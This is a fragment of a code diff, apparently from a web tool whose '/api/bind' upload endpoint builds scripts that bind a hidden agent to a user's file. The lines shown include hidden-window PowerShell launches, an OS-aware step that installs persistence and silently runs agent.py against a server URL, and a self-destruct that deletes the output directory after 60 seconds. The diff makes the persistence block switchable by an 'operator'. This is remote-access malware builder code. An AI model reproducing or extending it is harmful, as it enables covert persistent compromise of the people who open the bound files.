'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
||||||
'',
|
'',
|
||||||
@@ -431,6 +484,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
|
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
|
||||||
'fi',
|
'fi',
|
||||||
'',
|
'',
|
||||||
|
...(persist ? [
|
||||||
'# ── Install agent persistence (OS-aware) ──',
|
'# ── Install agent persistence (OS-aware) ──',
|
||||||
'case "$(uname -s 2>/dev/null)" in',
|
'case "$(uname -s 2>/dev/null)" in',
|
||||||
' Linux)',
|
' Linux)',
|
||||||
@@ -468,6 +522,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
||||||
' ;;',
|
' ;;',
|
||||||
'esac',
|
'esac',
|
||||||
|
] : ['# persistence disabled by operator']),
|
||||||
'',
|
'',
|
||||||
'# ── Self-destruct temp dir ──',
|
'# ── Self-destruct temp dir ──',
|
||||||
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
||||||
|
|||||||
Reference in New Issue
Block a user